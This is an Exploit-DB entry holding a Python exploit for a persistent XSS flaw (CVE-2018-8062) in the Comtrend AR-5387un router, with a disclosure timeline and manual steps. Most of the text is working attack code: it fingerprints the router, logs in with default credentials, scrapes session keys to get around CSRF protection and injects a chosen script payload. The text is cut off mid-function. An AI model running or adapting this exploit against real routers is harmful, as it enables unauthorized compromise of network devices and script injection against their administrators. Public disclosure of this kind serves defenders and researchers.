Exploit-DB #48908
Description: Comtrend AR-5387un router - Persistent XSS (Authenticated)
Type: webapps
Platform: hardware
Date: 2020-10-20
Author: OscarAkaElvis

Exploit:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Exploit Title: Persistent XSS on Comtrend AR-5387un router
Date: 19/10/2020
Exploit Author: OscarAkaElvis
Vendor Homepage: https://www.comtrend.com/
Version: Comtrend AR-5387un router
Tested on: Software/Firmware version A731-410JAZ-C04_R02.A2pD035g.d23i
CVE: CVE-2018-8062

Disclosure timeline:
08/03/2018: Vulnerability was discovered
10/03/2018: Reported to Mitre (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8062)
11/03/2018: Mitre answered, CVE number reserved
11/03/2018: Reported to Comtrend as part of responsible disclosure, they never answered
16/10/2020: Two years later, reported again to Comtrend and public disclosure (https://twitter.com/OscarAkaElvis/status/[PII_REDACTED]09471233)
18/10/2020: Exploit creation
19/10/2020: Exploit sent to exploit-db

Exploitation explanation:
To exploit this vulnerability, once logged into the router, a WAN service must be created
Click on "Advanced Setup", "WAN Service". "Add button", "Next"
Then insert the payload into the "Enter Service Description" field. This was used for the PoC <script>alert('xss');</script>
Then click on "Next" four times to go on through the steps and finally click on "Apply/Save"
The result of the XSS will be displayed and triggered on the WAN services page

This exploit automatize the entire process bypassing CSRF protection and allowing to set a custom XSS payload
Happy hacking :)
OscarAkaElvis - https://twitter.com/OscarAkaElvis
"""

# Dependencies and libraries
import requests
from requests.auth import HTTPBasicAuth
import re
from sys import argv, exit
import argparse
from os import path
from time import sleep


class Exploit(object):

	# Global class vars
	session = requests.Session()
	user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36"
	ip = None
	username = None
	password = None
	payload = None
	default_ip = "192.168.1.1"
	default_username = "admin"
	default_password = "admin"
	default_payload = "<script>alert('xss');</script>"
	exploit_version = "1.0"
	current_sessionkey = None
	referer_sessionkey = None

	script_name = path.basename(argv[0])
	description_text = 'CVE-2018-8062 exploit by OscarAkaElvis, Persistent XSS on Comtrend AR-5387un router'
	epilog_text = 'Examples:\n    python3 ' + script_name + ' -i 192.168.0.150\n    python3 ' + script_name + ' -u admin -p mySecureRouterP@ss\n    python3 ' + script_name + ' -i 10.0.0.1 -u admin -p mySecureRouterP@ss -x \'<script>evil_js_stuff</script>\''

	def start_msg(self):
		print("[*] Starting CVE-2018-8062 exploit...")
		sleep(0.5)

	def check_params(self, arguments):
		parser = argparse.ArgumentParser(description=self.description_text, formatter_class=argparse.RawDescriptionHelpFormatter, epilog=self.epilog_text)
		parser.add_argument('-i', '--ip', dest='ip', required=False, help="set router's ip", metavar='IP')
		parser.add_argument('-u', '--username', dest='username', required=False, help="set user to login on router", metavar='USERNAME')
		parser.add_argument('-p', '--password', dest='password', required=False, help="set password to login on router", metavar='PASSWORD')
		parser.add_argument('-x', '--xss-payload', dest='payload', required=False, help="set xss payload", metavar='PAYLOAD')
		parser.add_argument('-v', '--version', action='version', version=self.print_version(), help="show exploit's version number and exit")

		args = parser.parse_args(arguments)

		self.start_msg()

		print("[*] Launch the exploit using -h argument to check all the available options")
		print()

		if not args.ip:
			self.ip = self.default_ip
			print("[!] Warning, no ip set, default will be used: " + str(self.ip))
		else:
			self.ip = args.ip

		if not args.username:
			self.username = self.default_username
			print("[!] Warning, no username set, default will be used: " + str(self.username))
		else:
			self.username = args.username

		if not args.password:
			self.password = self.default_password
			print("[!] Warning, no password set, default will be used: " + str(self.password))
		else:
			self.password = args.password

		if not args.payload:
			self.payload = self.default_payload
			print("[!] Warning, no XSS payload set, PoC default will be used: " + str(self.payload))
		else:
			self.password = args.password

	def print_version(self):
		print()
		return 'v{}'.format(self.exploit_version)

	def check_router(self):
		try:
			print()
			print("[*] Trying to detect router...")

			headers = {"User-Agent": self.user_agent}
			response = self.session.get("http://" + str(self.ip) + "/", headers=headers)

			if re.match(r'.*WWW-Authenticate.*Broadband Router.*', str(response.headers)):
				print("[+] Comtrend router detected successfully")
			else:
				print()
				print("[-] It seems the target is not a Comtrend router")
				print("[*] Exiting...")
				exit(1)
		except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
			print()
			print("[-] Can't connect to the router")
			print("[*] Exiting...")
			exit(1)

	def check_login(self):
		print()
		print("[*] Trying to login...")

		headers = {"User-Agent": self.user_agent}
		response = self.session.get("http://" + str(self.ip) + "/", headers=headers, auth=HTTPBasicAuth(self.username, self.password))

		if response.status_code != 401:
			print("[+] Login successfully!")
			sleep(1)
		else:
			print()
			print("[-] Can't login into the router. Check your creds!")
			print("[*] Exiting...")
			exit(1)

	def get_sessionKey(self, response_text):
		sessionKey = re.search(r'.*sessionKey=([0-9]+).*', str(response_text))

		if sessionKey is not None:
			sessionKey = sessionKey.group(1)
		else:
			sessionKey = re.search(r'.*sessionKey=\\\'([0-9]+).*', str(response_text), re.MULTILINE)
			if sessionKey is not None:
				sessionKey = sessio